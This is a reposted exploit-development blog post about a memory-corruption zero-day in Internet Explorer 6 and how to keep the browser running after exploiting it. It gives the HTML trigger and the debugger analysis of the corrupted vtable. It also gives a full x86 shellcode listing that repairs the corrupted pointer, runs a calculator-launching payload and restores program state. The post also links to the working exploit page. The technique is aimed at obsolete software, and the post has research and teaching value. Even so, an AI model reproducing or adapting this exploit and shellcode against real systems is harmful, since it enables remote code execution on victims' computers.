Snf's blog

Process continuation after exploit (aka. IE is my process launcher)

This is an old post from one of my old blogs so reposting here for eternity (not one of the most elegant teks, looking at you Seba from the past).

Last week another 0day was discovered in the wild exploiting Internet Explorer. And as the bug wasn’t hard to trigger/exploit in IE 6, I thought that it would be good to add another decoration to this exploit. As last week I was also talking to some friends about why exploit writers are not interested on recovering process (or why don’t they do it), I decided to write this post. Here will describe how to make IE6 continue after it has been successfully exploited using last 0day bug.

The trigger for the bug is: <table style="position: absolute; clip: rect(0);">

When we trigger the bug we see that we are using a defaced vtable, in my IE, i see that the jump comes from EnsureDispNodeBackground:

0:000> ub 7dcb1c3f
mshtml!CLayout::EnsureDispNodeBackground+0x81:
7dcb1c2d 33f6            xor     esi,esi
7dcb1c2f 46              inc     esi
7dcb1c30 56              push    esi
7dcb1c31 8bcf            mov     ecx,edi
7dcb1c33 e813e2ffff      call    mshtml!CDispNode::SetBackground (7dcafe4b)
7dcb1c38 8b07            mov     eax,dword ptr [edi] ;<-- pointer to chaos
7dcb1c3a 8bcf            mov     ecx,edi
7dcb1c3c ff5030          call    dword ptr [eax+30h]

As you can see, the object is in edi, so it takes the vtable from object[0] and then dereferences vtable+0×30 to get the function.

After some research discovered that the vtable address was being overwritten by the function CDispNode::SetUserClip when trying to set a flag on a miscalculated address.

mshtml!CDispNode::SetUserClip+0x84:
7dd8b5d0 e8b4ddffff      call    mshtml!CRect::RestrictRange (7dd89389)
7dd8b5d5 8b4704          mov     eax,dword ptr [edi+4]
7dd8b5d8 23c6            and     eax,esi
7dd8b5da 0fb688101cc37d  movzx   ecx,byte ptr mshtml!CDispNode::_extraSizeTable (7dc31c10)[eax]
7dd8b5e1 8bc7            mov     eax,edi
7dd8b5e3 c1e102          shl     ecx,2
7dd8b5e6 2bc1            sub     eax,ecx
7dd8b5e8 830801          or      dword ptr [eax],1 ;<-- the address of the vtable is on *eax

The main idea of autorecovering exploits is that we can give the process the same state that it had before being exploited and this bug is perfect for this!. The only corruption we have when the bug is triggered is 1 bit (afaik). We don’t really know if the vtable of the object is used again, but we are gonna fix it and set eax to 0 (the function failed).

I have used this shellcode w32-exec-calc-shellcode , greets to berendjanwever for being first on google when searching calc shellcode and having a working one, you deserve the mention! I have not made any modification to it, just added a prologue and epilogue to save/recover the state.

BITS 32

;;; lets patch vtable address
and dword [edi], 0xFFFFFFFE
;;; save registers
pushad
;;; push a mark on the stack
;;; (lazy stack recovery after the payload is executed)
push 0xdead1337
;; here starts the shellcode for launching the calculator
;;  ============================================
xor esi,esi
push esi
mov esi,[fs:esi+0x30]
mov esi,[esi+0xc]
mov esi,[esi+0x1c]
l1:
mov ebp,[esi+0x8]
mov esi,[esi]
mov ebx,[ebp+0x3c]
mov ebx,[ebp+ebx+0x78]
add ebx,ebp
mov ecx,[ebx+0x18]
jcxz l1
l2:
mov edi,[ebx+0x20]
add edi,ebp
mov edi,[edi+ecx*4-0x4]
add edi,ebp
xor eax,eax
cdq
l3:
xor dl,[edi]
ror dx,0x1
scasb
jnz l3
cmp dx,0xf510
loopne l2
jnz l1
mov edx,[ebx+0x24]
add edx,ebp
movzx edx,word [edx+ecx*2]
mov edi,[ebx+0x1c]
add edi,ebp
add ebp,[edi+edx*4]
push dword 0x6578652e
push dword 0x636c6163
push esp
xchg eax,[esp]
push eax
call ebp
;;  ============================================
;;; then recover stack, search for our mark
l10:
    pop eax
    cmp eax, 0xdead1337
    jne l10
;;; restore registers
popad
;;; return from the function with error
xor eax,eax
;;; if the function had arguments we should clean them
;;; depending on the calling convention (not here :-) )
ret
;;; should never reach this point
int3

As we can see, recovering from the exploit is not difficult for this bug. Anyways, it could be pretty more difficult when exploiting other bugs that do more memory corruption.

The final working exploit is here: ie_clip.html (open at your own risk ;-) ).

And the demo (for not believers) showing the exploit working 3 times and Internet Explorer still working: http://www.youtube.com/watch?v=dgV9q9Cw0PU.

Interesting slides about process continuation: User Friendly Exploits

Greetz to all my friends and coworkers. And sorry to all of you who were expecting a spanish post.